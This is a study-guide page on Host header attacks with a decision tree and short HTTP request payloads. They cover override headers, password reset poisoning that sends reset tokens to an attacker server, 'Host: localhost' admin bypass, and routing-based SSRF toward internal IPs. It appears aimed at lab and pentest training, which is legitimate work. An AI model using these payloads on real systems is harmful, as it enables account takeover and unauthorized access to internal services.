Skip to content

Host Header Attacks

← Back to index · Stage 1 (non-interactive foothold) · Read the mindset page first.

Why it exists: the Host header tells a server which site you want — but apps also reuse it to build absolute links (password-reset emails), make routing decisions, or as an access signal. Since the Host is attacker-controlled, any of those uses is exploitable: you poison a reset link to point at your server, bypass a Host-based access check, or make the front-end route your request internally.

The one rule: first establish that the app actually uses your Host value — in a link, a redirect, or a routing decision. Only then does changing it matter. If the front-end rejects a wrong Host, reach for the override headers.

Decision tree

flowchart TD
  A["Change the Host header"] --> B{"Accepted / reflected?"}
  B -->|rejected| O["Try override headers"]
  O --> B
  B -->|yes| C{"Where is it used?"}
  C -->|in a reset email link| PR["Password reset poisoning"]
  C -->|in an access check| AB["Auth bypass (Host: localhost)"]
  C -->|in server-side routing| SS["Routing-based SSRF"]
  PR --> WIN["Account / internal access"]
  AB --> WIN
  SS --> WIN

Reading the response: you're checking whether the app uses your Host. Look for it reflected in the body, in a Location/redirect, or in a generated link, or for a behaviour change (different routing, a Collaborator hit). If a wrong Host is simply rejected with the same error every time and your value never appears anywhere, it isn't trusted here — try the override headers, and if those also change nothing, move on.

1. Test the trust — why first

Why: changing the Host only matters if the app uses it somewhere. Change it and look for your value in the response (a link, a redirect) or a behaviour change. If a flat change is rejected by the front-end, the back-end often still trusts an override header:

Host: EXPLOIT
# if rejected, try the overrides the back-end may trust:
X-Forwarded-Host: EXPLOIT
X-Host: EXPLOIT
# or a duplicate Host / absolute-URL request line / line-wrapping

2. Password reset poisoning — why it works

Why: the reset email builds its link from the Host header (https://<Host>/reset?token=...). Poison the Host → the token-bearing link points at your server → you capture the token from your exploit-server access log when the link is generated/clicked.

POST /forgot-password
Host: EXPLOIT
...
username=carlos

3. Authentication / access bypass

Why: some apps grant extra trust to requests that look internal — spoof the Host to an internal name and the check passes:

GET /admin
Host: localhost

4. Routing-based SSRF

Why: if the front-end uses the Host to decide where to forward the request, you aim it at an internal system or Collaborator:

Host: 192.168.0.1
Host: ID.COLLAB          # confirm the front-end connects out based on Host

Failure modes

  • Host change rejected → use X-Forwarded-Host/X-Host, a duplicate Host, an absolute request-line URL, or line-wrapping — the back-end often trusts what the front-end rejected.
  • Reflected but no reset link → confirm the reset flow actually emails a link built from Host; check your exploit-server log after triggering it.
  • Auth bypass ignored → try the exact internal hostnames the app would trust (localhost, 127.0.0.1, an intranet name).
  • No routing change → combine with Collaborator to see whether the front-end connects out based on Host.
  • Host-based reflection can also feed web cache poisoning — the two overlap.